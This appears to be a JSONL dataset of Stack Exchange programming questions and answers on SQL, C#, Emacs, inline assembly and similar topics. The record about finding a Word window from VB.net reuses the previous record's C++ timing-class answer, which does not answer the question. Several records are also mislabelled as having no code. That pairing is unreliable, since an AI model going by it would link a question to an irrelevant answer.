{"id": "hf_e9a6db0be523", "question": "<p>I've recently had a need to do a bit of lisp editing and I found the nifty Ready Lisp package for OS X, which is great, except Aquamacs automatically uses a proportional font (which is idiotic, IMHO) and I want to change it to a monospace font. However, I'm not really much of an EMACS user, and the preferences menu in Aquamacs is less than clear on where and how one might make such a change. </p>\n", "question_body": "", "answer": "From the\nEmacsWiki Aquamacs FAQ\n:\nTo change the font used to display the\ncurrent frame, go to the font panel.\nYou can do this with the keystroke\nApple-t, or via the menu: Options →\nShow/Hide → Font Panel. Once there,\nselect the font you want.\nTo make the current frame’s font the\ndefault, go to Options → Frame\nAppearance Styles. Select “use current\nstyle for foo mode”, where foo is the\nmode of the current frame (e.g.,\nfoo=text for text mode), to use the\ncurrent style (including the font, but\nalso any other changes you’ve made to\nthe frame’s style) for all files of\nthis type. Select “use current style\nas default” to use the current style\nfor all files for whose major mode no\nspecial style has been defined.\nThere are also recommendations for monospaced fonts - Monaco or \"Vera Sans Mono\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.879818"}
{"id": "hf_21053e7138ce", "question": "<p>Can I use this approach efficiently?</p>\n\n<pre><code>using(SqlCommand cmd = new SqlCommand(\"GetSomething\", new SqlConnection(Config.ConnectionString))\n{\n    cmd.Connection.Open();\n    // set up parameters and CommandType to StoredProcedure etc. etc.\n    cmd.ExecuteNonQuery();\n}\n</code></pre>\n\n<p>My concern is : Will the Dispose method of the SqlCommand (which is called when exiting the using block) close the underlying SqlConnection object or not?</p>\n", "question_body": "", "answer": "No, Disposing of the\n```\nSqlCommand\n```\nwill not effect the Connection. A better approach would be to also wrap the\n```\nSqlConnection\n```\nin a using block as well:\n```\n```\nusing (SqlConnection conn = new SqlConnection(connstring))\n{\n    conn.Open();\n    using (SqlCommand cmd = new SqlCommand(cmdstring, conn))\n    {\n        cmd.ExecuteNonQuery();\n    }\n}\n```\n```\nOtherwise, the Connection is unchanged by the fact that a Command that was using it was disposed (maybe that is what you want?). But keep in mind, that a Connection should \nbe disposed of as well, and likely more important to dispose of than a command.\nEDIT:\nI just tested this:\n```\n```\nSqlConnection conn = new SqlConnection(connstring);\nconn.Open();\n\nusing (SqlCommand cmd = new SqlCommand(\"select field from table where fieldid = 1\", conn))\n{\n    Console.WriteLine(cmd.ExecuteScalar().ToString());\n}\n\nusing (SqlCommand cmd = new SqlCommand(\"select field from table where fieldid = 2\", conn))\n{\n    Console.WriteLine(cmd.ExecuteScalar().ToString());\n}\n\nconn.Dispose();\n```\n```\nThe first command was disposed when the using block was exited. The connection was still open and good for the second command.\nSo, disposing of the command definitely does not dispose of the connection it was using.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:12.916341"}
{"id": "hf_456f9623de10", "question": "<p>How do you create a database from an Entity Data Model.</p>\n\n<p>So I created a database using the EDM Designer in VisualStudio 2008, and now I want to generate the SQL Server Schema to create storage in SQL Server. </p>\n", "question_body": "", "answer": "From what I understand you are not just supposed to use EDM as a \"pretty\" database designer, in fact EDM does not depend on a specific storage layer. It tries to abstract that part for the developer. There are design schemas (CSDL) and storage schemas (SSDL). Anyway, don't mean to lecture you. ;)\nThere is\nEDM Generator\n, which you use to create models and class, etc.. For a DDL kind of export, I've never done that but what I did was map my EDM to an existing database, which was easier for me to get started.\nThere is a great tutorial on MSDN, which details step by step instructions on how to go about using an existing database, but also touches the how to start from scratch approach.\nhttp://msdn.microsoft.com/en-us/magazine/cc163286.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.014673"}
{"id": "hf_f456e603eb7d", "question": "<p>I've got a table of URLs and I don't want any duplicate URLs. How do I check to see if a given URL is already in the table using PHP/MySQL?</p>\n", "question_body": "", "answer": "You could do this query:\n```\n```\nSELECT url FROM urls WHERE url = 'http://asdf.com' LIMIT 1\n```\n```\nThen check if\nmysql_num_rows()\n== 1 to see if it exists.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.103712"}
{"id": "hf_82aeba94383c", "question": "<p>I believe the application has some parts that target .NET, and some that don't. I'm particularly interested in looking at the resource files, if there are any.</p>\n", "question_body": "", "answer": "If you want to disassemble native x86/64 app use\nIDA\n, .NET exe/dll can be disassembled using Reflector. There are\ntons\nof utilities to extract resources. Can you elaborate your question a bit?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.177440"}
{"id": "hf_b3de231154c9", "question": "<p>Having read the threads <a href=\"https://stackoverflow.com/questions/60919/is-sqlcommanddispose-enough\">Is SqlCommand.Dispose enough?</a> and <a href=\"https://stackoverflow.com/questions/23867/closing-and-disposing-a-wcf-service\">Closing and Disposing a WCF Service</a> I am wondering for classes such as SqlConnection or one of the several classes inheriting from the Stream class does it matter if I close Dispose rather than Close?</p>\n", "question_body": "", "answer": "For\n```\nSqlConnection\n```\n, from the perspective of the connection itself, they are equivalent.  According to Reflector,\n```\nDispose()\n```\ncalls\n```\nClose()\n```\nas well as doing a few additional memory-freeing operations -- mostly by setting members equal to null.\nFor Stream, they actually are equivalent.\n```\nStream.Dispose()\n```\nsimply calls Close().", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.252668"}
{"id": "hf_ad08b03bf5eb", "question": "<p>Can someone show me how to implement a recursive lambda expression to traverse a tree structure in C#. </p>\n", "question_body": "", "answer": "Assuming a mythical object TreeItem, that conatins a Children collection to represent your hierarchy.\n```\n```\npublic void HandleTreeItems(Action<TreeItem> item, TreeItem parent)\n    {\n        if (parent.Children.Count > 0)\n        {\n            foreach (TreeItem ti in parent.Children)\n            {\n                HandleTreeItems(item, ti);\n            }\n        }\n\n        item(parent);\n    }\n```\n```\nNow to call it, passing in the lambda that handles one item, by printing its name to the console.\n```\n```\nHandleTreeItems(item => { Console.WriteLine(item.Name); }, TreeItemRoot);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.302412"}
{"id": "hf_e07e9f39c702", "question": "<p>How do I set up a network between the Host and the guest OS in Windows vista?</p>\n", "question_body": "", "answer": "I don't run vista, but virtualbox should do most of the setup for you - all you need to do is assign an IP address, subnet mask, and (optionally) a default gateway to your guest OS, and it should just work.\nDon't bother with any of the advanced network settings in the options for the VM - they're useful in some situations, but I've never had to use them, and I've been using virtualbox for some years now.\nIf you post the specific problem you're having perhaps I can help more. But your question is rather vague...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.362724"}
{"id": "hf_468e35dfea67", "question": "<p>If you were to self-fund a software project which tools, frameworks, components would you employ to ensure maximum productivity for the dev team and that the \"real\" problem is being worked on.</p>\n\n<p>What I'm looking for are low friction tools which get the job done with a minimum of fuss. Tools I'd characterize as such are SVN/TortioseSVN, ReSharper, VS itself. I'm looking for frameworks which solve the problems inherient in all software projects like ORM, logging, UI frameworks/components. An example on the UI side would be ASP.NET MVC vs WebForms vs MonoRail.</p>\n", "question_body": "", "answer": "Versioning.\nSubversion\nis the popular choice. If you can afford it,\nTeam Foundation Server\noffers some benefits. If you want to be super-modern, consider a distributed versioning system, such as\ngit\n,\nbazaar\nor\nMercurial\n. Whatever you do, don't use SourceSafe or other lock-based tools, but rather merge-baseed ones. Consider installing both a Windows Explorer client (such as\nTortoiseSVN\n) as well as a Visual Studio add-in (such as\nAnkhSVN\nor\nVisualSVN\n).\nIssue tracking.\nGiven that Joel Spolsky is on this site's staff,\nFogBugz\ndeserves a mention.\nTrac\n,\nMantis\nand\nBugZilla\nare widespread open-source choices.\nContinuous integration.\nCruiseControl.NET\nis a popular and open-source choice. There's also\nDraco.NET\n.\nUnit testing.\nNUnit\nis the popular open-source choice. Does the job. Consider installing the\nTestDriven.NET\nVisual Studio add-in.\nThat said, you want to look at the answers to\nEssential Programming Tools\nand\nWhat is your best list of ‘must have’ development tools?\n; while not .NET-specific, they should apply anyway.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.423857"}
{"id": "hf_cbeffece96ca", "question": "<p>If I have: </p>\n\n<pre><code>signed char * p;\n</code></pre>\n\n<p>and I do a comparison:</p>\n\n<pre><code>if ( *p == 0xFF )\n   break;\n</code></pre>\n\n<p>it will never catch 0XFF, but if I replace it with -1 it will:</p>\n\n<pre><code>if ( *p == (signed char)0xFF )\n   break;\n</code></pre>\n\n<p>How can this happen? Is it something with the sign flag? I though that <code>0xFF == -1 == 255</code>.</p>\n", "question_body": "", "answer": "The value\n```\n0xFF\n```\nis a signed int value. C will promote the\n```\n*p\n```\nto an\n```\nint\n```\nwhen doing the comparison, so the first if statement is equivalent to:\n```\n```\nif( -1 == 255 ) break;\n```\n```\nwhich is of course false. By using\n```\n(signed char)0xFF\n```\nthe statement is equivalent to:\n```\n```\nif( -1 == -1 ) break;\n```\n```\nwhich works as you expect. The key point here is that the comparison is done with\n```\nint\n```\ntypes instead of\n```\nsigned char\n```\ntypes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.486187"}
{"id": "hf_721907c10626", "question": "<p>What is the best way to shred XML data into various database columns? So far I have mainly been using the nodes and value functions like so:</p>\n\n<pre><code>INSERT INTO some_table (column1, column2, column3)\nSELECT\nRows.n.value('(@column1)[1]', 'varchar(20)'),\nRows.n.value('(@column2)[1]', 'nvarchar(100)'),\nRows.n.value('(@column3)[1]', 'int'),\nFROM @xml.nodes('//Rows') Rows(n)\n</code></pre>\n\n<p>However I find that this is getting very slow for even moderate size xml data.</p>\n", "question_body": "", "answer": "I'm not sure what is the best method. I used OPENXML construction:\n```\n```\nINSERT INTO Test\nSELECT Id, Data \nFROM OPENXML (@XmlDocument, '/Root/blah',2)\nWITH (Id   int         '@ID',\n      Data varchar(10) '@DATA')\n```\n```\nTo speed it up, you can create XML indices. You can set index specifically for\nvalue\nfunction performance optimization. Also you can use typed xml columns, which performs better.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.511711"}
{"id": "hf_6898eaaafc3a", "question": "<p>I know that tables are for tabular data, but it's so tempting to use them for layout. I can handle DIV's to get a three column layout, but when you got 4 nested DIV's, it get tricky. </p>\n\n<p>Is there a tutorial/reference out there to persuade me to use DIV's for layout?</p>\n\n<p>I want to use DIV's, but I refuse to spend an hour to position my DIV/SPAN where I want it.</p>\n\n<p>@GaryF: <a href=\"http://www.blueprintcss.org/\" rel=\"noreferrer\">Blueprint CSS</a> has to be the CSS's best kept secret.</p>\n\n<p>Great tool - <a href=\"http://kematzy.com/blueprint-generator/\" rel=\"noreferrer\">Blueprint Grid CSS Generator</a>.</p>\n", "question_body": "", "answer": "This may be unhelpful but I somehow don't understand all these problems related to CSS. If a newspaper designer would try to embed a movie in the ad page, everybody would agree that he's a bit crazy. But still those same people pine after three-column layouts in HTML. HTML is just not apt to handle this kind of layout well at the moment. Furthermore, multi-column layouts are generally not really well-suited for reading on computer monitors. Aren't there enough viable alternatives?\nAnd by the way, even tables don't offer a good way of implementing a fluent column layout so this is no reason at all to resort to such hacks. Assuming a halfway modern browser (i.e. > MSIE 6), tables don't offer any advantages over clean HTML + CSS that I know of.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.549595"}
{"id": "hf_12428a96d968", "question": "<p>Here's the problem, you include multiple assemblies and add 'using namespaceX' at the top of your code file.<br>\nNow you want to create a class or use a symbol which is defined in multiple namespaces, \ne.g. <code>System.Windows.Controls.Image</code> &amp; <code>System.Drawing.Image</code></p>\n\n<p>Now unless you use the fully qualified name, there will be a crib/build error due to ambiguity inspite of the right 'using' declarations at the top. What is the way out here?</p>\n\n<p><em>(Another knowledge base post.. I found the answer after about 10 minutes of searching because I didn't know the right keyword to search for)</em></p>\n", "question_body": "", "answer": "Use alias\n```\n```\nusing System.Windows.Controls;\nusing Drawing = System.Drawing;\n\n...\n\nImage img = ... //System.Windows.Controls.Image\nDrawing.Image img2 = ... //System.Drawing.Image\n```\n```\nC# using directive", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.608987"}
{"id": "hf_a29fcb1a8574", "question": "<p>What method do you use when you want to get performance data about specific code paths?</p>\n", "question_body": "", "answer": "This method has several limitations, but I still find it very useful. I'll list the limitations (I know of) up front and let whoever wants to use it do so at their own risk.\nThe original version I posted over-reported time spent in recursive calls (as pointed out in the comments to the answer).\nIt's not thread safe, it wasn't thread safe before I added the code to ignore recursion and it's even less thread safe now.\nAlthough it's very efficient if it's called many times (millions), it will have a measurable effect on the outcome so that scopes you measure will take longer than those you don't.\nI use this class when the problem at hand doesn't justify profiling all my code or I get some data from a profiler that I want to verify. Basically it sums up the time you spent in a specific block and at the end of the program outputs it to the debug stream (viewable with\nDbgView\n), including how many times the code was executed (and the average time spent of course)).\n```\n```\n#pragma once\n#include <tchar.h>\n#include <windows.h>\n#include <sstream>\n#include <boost/noncopyable.hpp>\n\nnamespace scope_timer {\n    class time_collector : boost::noncopyable {\n        __int64 total;\n        LARGE_INTEGER start;\n        size_t times;\n        const TCHAR* name;\n\n        double cpu_frequency()\n        { // cache the CPU frequency, which doesn't change.\n            static double ret = 0; // store as double so devision later on is floating point and not truncating\n            if (ret == 0) {\n                LARGE_INTEGER freq;\n                QueryPerformanceFrequency(&freq);\n                ret = static_cast<double>(freq.QuadPart);\n            }\n            return ret;\n        }\n        bool in_use;\n\n    public:\n        time_collector(const TCHAR* n)\n            : times(0)\n            , name(n)\n            , total(0)\n            , start(LARGE_INTEGER())\n            , in_use(false)\n        {\n        }\n\n        ~time_collector()\n        {\n            std::basic_ostringstream<TCHAR> msg;\n            msg << _T(\"scope_timer> \") <<  name << _T(\" called: \");\n\n            double seconds = total / cpu_frequency();\n            double average = seconds / times;\n\n            msg << times << _T(\" times total time: \") << seconds << _T(\" seconds  \")\n                << _T(\" (avg \") << average <<_T(\")\\n\");\n            OutputDebugString(msg.str().c_str());\n        }\n\n        void add_time(__int64 ticks)\n        {\n            total += ticks;\n            ++times;\n            in_use = false;\n        }\n\n        bool aquire()\n        {\n            if (in_use)\n                return false;\n            in_use = true;\n            return true;\n        }\n    };\n\n    class one_time : boost::noncopyable {\n        LARGE_INTEGER start;\n        time_collector* collector;\n    public:\n        one_time(time_collector& tc)\n        {\n            if (tc.aquire()) {\n                collector = &tc;\n                QueryPerformanceCounter(&start);\n            }\n            else\n                collector = 0;\n        }\n\n        ~one_time()\n        {\n            if (collector) {\n                LARGE_INTEGER end;\n                QueryPerformanceCounter(&end);\n                collector->add_time(end.QuadPart - start.QuadPart);\n            }\n        }\n    };\n}\n\n// Usage TIME_THIS_SCOPE(XX); where XX is a C variable name (can begin with a number)\n#define TIME_THIS_SCOPE(name) \\\n    static scope_timer::time_collector st_time_collector_##name(_T(#name)); \\\n    scope_timer::one_time st_one_time_##name(st_time_collector_##name)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.645078"}
{"id": "hf_34178270d02a", "question": "<p>I have a VB.net test application that clicks a link that opens the Microsoft Word application window and displays the document. How do I locate the Word application window so that I can grab some text from it?</p>\n", "question_body": "", "answer": "This method has several limitations, but I still find it very useful. I'll list the limitations (I know of) up front and let whoever wants to use it do so at their own risk.\nThe original version I posted over-reported time spent in recursive calls (as pointed out in the comments to the answer).\nIt's not thread safe, it wasn't thread safe before I added the code to ignore recursion and it's even less thread safe now.\nAlthough it's very efficient if it's called many times (millions), it will have a measurable effect on the outcome so that scopes you measure will take longer than those you don't.\nI use this class when the problem at hand doesn't justify profiling all my code or I get some data from a profiler that I want to verify. Basically it sums up the time you spent in a specific block and at the end of the program outputs it to the debug stream (viewable with\nDbgView\n), including how many times the code was executed (and the average time spent of course)).\n```\n```\n#pragma once\n#include <tchar.h>\n#include <windows.h>\n#include <sstream>\n#include <boost/noncopyable.hpp>\n\nnamespace scope_timer {\n    class time_collector : boost::noncopyable {\n        __int64 total;\n        LARGE_INTEGER start;\n        size_t times;\n        const TCHAR* name;\n\n        double cpu_frequency()\n        { // cache the CPU frequency, which doesn't change.\n            static double ret = 0; // store as double so devision later on is floating point and not truncating\n            if (ret == 0) {\n                LARGE_INTEGER freq;\n                QueryPerformanceFrequency(&freq);\n                ret = static_cast<double>(freq.QuadPart);\n            }\n            return ret;\n        }\n        bool in_use;\n\n    public:\n        time_collector(const TCHAR* n)\n            : times(0)\n            , name(n)\n            , total(0)\n            , start(LARGE_INTEGER())\n            , in_use(false)\n        {\n        }\n\n        ~time_collector()\n        {\n            std::basic_ostringstream<TCHAR> msg;\n            msg << _T(\"scope_timer> \") <<  name << _T(\" called: \");\n\n            double seconds = total / cpu_frequency();\n            double average = seconds / times;\n\n            msg << times << _T(\" times total time: \") << seconds << _T(\" seconds  \")\n                << _T(\" (avg \") << average <<_T(\")\\n\");\n            OutputDebugString(msg.str().c_str());\n        }\n\n        void add_time(__int64 ticks)\n        {\n            total += ticks;\n            ++times;\n            in_use = false;\n        }\n\n        bool aquire()\n        {\n            if (in_use)\n                return false;\n            in_use = true;\n            return true;\n        }\n    };\n\n    class one_time : boost::noncopyable {\n        LARGE_INTEGER start;\n        time_collector* collector;\n    public:\n        one_time(time_collector& tc)\n        {\n            if (tc.aquire()) {\n                collector = &tc;\n                QueryPerformanceCounter(&start);\n            }\n            else\n                collector = 0;\n        }\n\n        ~one_time()\n        {\n            if (collector) {\n                LARGE_INTEGER end;\n                QueryPerformanceCounter(&end);\n                collector->add_time(end.QuadPart - start.QuadPart);\n            }\n        }\n    };\n}\n\n// Usage TIME_THIS_SCOPE(XX); where XX is a C variable name (can begin with a number)\n#define TIME_THIS_SCOPE(name) \\\n    static scope_timer::time_collector st_time_collector_##name(_T(#name)); \\\n    scope_timer::one_time st_one_time_##name(st_time_collector_##name)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.670031"}
{"id": "hf_4ce64b6af557", "question": "<p>It seems that Silverlight/WPF are the long term future for user interface development with .NET. This is great because as I can see the advantage of reusing XAML skills on both the client and web development sides. But looking at WPF/XAML/Silverlight they seem very large technologies and so where is the best place to get start?</p>\n\n<p>I would like to hear from anyone who has good knowledge of both and can recommend which is a better starting point and why.</p>\n", "question_body": "", "answer": "Silverlight is a stripped down version of WPF so it should have fewer things to learn inside. On the other hand, the two platforms have different targets (web & rich client) so I guess it depends on what app you're going to build.\nIf you just want to learn for yourself (no app in the close future) I'd pick Silverlight because it would be less to assimilate. Still, Silverlight is pretty much a moving target, much more than WPF, so you'll have to keep up with some changes from time to time (the joys of being an early adopter :)).\nWPF has lots more stuff that you will probably want to use at some point but I would wait for the needs to arise first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.696056"}
{"id": "hf_67c3fff48830", "question": "<p>I am trying to retrieve a user on Sharepoint's user photo through the WSS 3.0 object model. I have been browsing the web for solutions, but so far I've been unable to find a way to do it. Is it possible, and if so how?</p>\n", "question_body": "", "answer": "Ah, You have to use the UserProfileManager class.\nMore information here:\nhttp://msdn.microsoft.com/en-us/library/microsoft.office.server.userprofiles.userprofilemanager.aspx\nExample use:\n```\n```\npublic override void ItemAdded(SPItemEventProperties properties)\n{\n    // Get list item on which the event occurred.\n    SPListItem item = properties.ListItem;\n\n    // Set the Author Image field to the user's PictureURL if it exists.\n    using (SPWeb web = properties.OpenWeb())\n    {\n        // Author: {C32DB804-FF2D-4656-A38A-B0394BA5C931}\n        SPFieldUserValue authorValue = new SPFieldUserValue(properties.OpenWeb(), item[new Guid(\"{C32DB804-FF2D-4656-A38A-B0394BA5C931}\")].ToString());\n\n        UserProfileManager profileManager = new UserProfileManager(ServerContext.GetContext(web.Site));\n        UserProfile profile = profileManager.GetUserProfile(authorValue.LookupId);\n        UserProfileValueCollection values = profile[PropertyConstants.PictureUrl];\n\n        if (values.Count > 0)\n        {\n            // Author Image: {37A5CA4C-7621-44d7-BF3B-583F742CE52F}\n            SPFieldUrlValue urlValue = new SPFieldUrlValue(values.Value.ToString());\n            item[new Guid(\"{37A5CA4C-7621-44d7-BF3B-583F742CE52F}\")] = urlValue.Url;\n        }\n    }\n\n    item.Update();\n\n    // News Text: {7F55A8F0-4555-46BC-B24C-222240B862AF}\n    //\n\n    // Author Image: {37A5CA4C-7621-44d7-BF3B-583F742CE52F}\n    // \n\n    // Publish Date: {45E84B8B-E161-46C6-AD51-27A42E4992B5}\n    //\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.732756"}
{"id": "hf_5eee66102192", "question": "<p>I remember back in the day with the old borland DOS compiler you could do something like this:</p>\n\n<pre><code>asm {\n mov ax,ex\n etc etc...\n}\n</code></pre>\n\n<p>Is there a semi-platform independent way to do this now? I have a need to make a BIOS call, so if there was a way to do this without asm code, that would be equally useful to me.</p>\n", "question_body": "", "answer": "A good start would be reading this article which talk about inline assembly in C/C++:\nhttp://www.codeproject.com/KB/cpp/edujini_inline_asm.aspx\nExample from the article:\n```\n```\n#include <stdio.h>\n\nint main() {\n    /* Add 10 and 20 and store result into register %eax */\n    __asm__ ( \"movl $10, %eax;\"\n                \"movl $20, %ebx;\"\n                \"addl %ebx, %eax;\"\n    );\n\n    /* Subtract 20 from 10 and store result into register %eax */\n    __asm__ ( \"movl $10, %eax;\"\n                    \"movl $20, %ebx;\"\n                    \"subl %ebx, %eax;\"\n    );\n\n    /* Multiply 10 and 20 and store result into register %eax */\n    __asm__ ( \"movl $10, %eax;\"\n                    \"movl $20, %ebx;\"\n                    \"imull %ebx, %eax;\"\n    );\n\n    return 0 ;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.757752"}
{"id": "hf_7c5957530811", "question": "<p>How do you make your application multithreaded ?\nDo you use asynch functions ?\nor do you spawn a new thread ?\nI think that asynch functions are already spawning a thread so if your job is doing just some file reading, being lazy and just spawning your job on a thread would just \"waste\" ressources...\nSo is there some kind of design when using thread or asynch functions ?</p>\n", "question_body": "", "answer": "If you are talking about .Net, then don't forget the\nThreadPool\n. The thread pool is also what asynch functions often use. Spawning to much threads can actually hurt your performance. A thread pool is designed to spawn just enough threads to do the work the fastest. So do use a thread pool instead of spwaning your own threads, unless the thread pool doesn't meet your needs.\nPS: And keep an eye out on the\nParallel Extensions\nfrom Microsoft", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.783412"}
{"id": "hf_4706cd613c35", "question": "<p>I am thinking about the design of an iPhone app I'd like to create.  One possible problem is that this application will have to run as root (to access certain network ports).  In a typical UNIX app, I'd just get the app to run with setuid, but I'm wondering if that is possible with an iPhone app.</p>\n\n<p>I've read this question in Apple's forum, which is discouraging:</p>\n\n<p><a href=\"http://discussions.apple.com/thread.jspa?threadID=1664575\" rel=\"nofollow noreferrer\">http://discussions.apple.com/thread.jspa?threadID=1664575</a></p>\n\n<p>I understand that Apple wants to limit what a program can do, but there are plenty of good, legitimate reasons for a user to run a program with elevated privileges.  I'm not trying to create a hacker tool here.</p>\n\n<p>I'm sure I could get around this on a jail-broken iPhone, but that's not what I'm after.  Is there any way to run an app with elevated privileges on an unbroken iPhone?</p>\n\n<p>(BTW, there is no need to warn me about the NDA.)</p>\n", "question_body": "", "answer": "Section 3.3.4 of the iPhone SDK Agreement suggests that you mustn't work outside your sandbox.\nGiven that\nApple has been somewhat arbitrary on which applications they permit\n, you should definitely double-check with them\nbefore\nyou start developing.\nCompared to 2.0.x,\nthe sandbox restrictions have actually increased in 2.1\n; you can no longer even read from another application's sandbox. So, even if it currently\nis\npossible to elevate your app's privileges, it very likely won't be in a future release.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.808240"}
{"id": "hf_f36e9c636996", "question": "<p>Should I still be using tables anyway?</p>\n\n<p>The table code I'd be replacing is:</p>\n\n<pre><code>&lt;table&gt;\n    &lt;tr&gt;\n        &lt;td&gt;Name&lt;/td&gt;&lt;td&gt;Value&lt;/td&gt;\n    &lt;/tr&gt;\n    ...\n&lt;/table&gt;\n</code></pre>\n\n<p>From what I've been reading I should have something like</p>\n\n<pre><code>&lt;label class=\"name\"&gt;Name&lt;/label&gt;&lt;label class=\"value\"&gt;Value&lt;/value&gt;&lt;br /&gt;\n...\n</code></pre>\n\n<p>Ideas and links to online samples greatly appreciated.  I'm a developer way out of my design depth.</p>\n\n<p>EDIT: My need is to be able to both to display the data to a user and edit the values in a separate (but near identical) form.</p>\n", "question_body": "", "answer": "I think tables are best used for tabular data, which it seems you have there.\nIf you do not want to use tables, the best thing would be to use definition lists(\n```\n<dl> and <dt>\n```\n). Here is how to style them to look like your old\n```\n<td>\n```\nlayout.\nhttp://maxdesign.com.au/articles/definition/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.846180"}
{"id": "hf_44c2dc3768c2", "question": "<p>I want to write an <code>onClick</code> event which submits a form several times, iterating through selected items in a multi-select field, submitting once for each.  </p>\n\n<p><strong>How do I code the loop?</strong></p>\n\n<p>I'm working in Ruby on Rails and using <code>remote_function()</code> to generate the JavaScript for the ajax call.</p>\n", "question_body": "", "answer": "My quick answer (as I've not coded it yet) would be to create another function that creates a POST using XMLHTTPRequest and the specific parameters for a single call. Then inside your onClick() handler call that function as you loop through your selected items.\nI would suggest that you do a Proof of Concept just using a dummy HTML page and javascript and then try to figure out how to get it to work in RoR.\nAlso, why are you attempting to make the multiple calls from the browser as opposed to handling the looping conditions in the RoR controller?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.883002"}
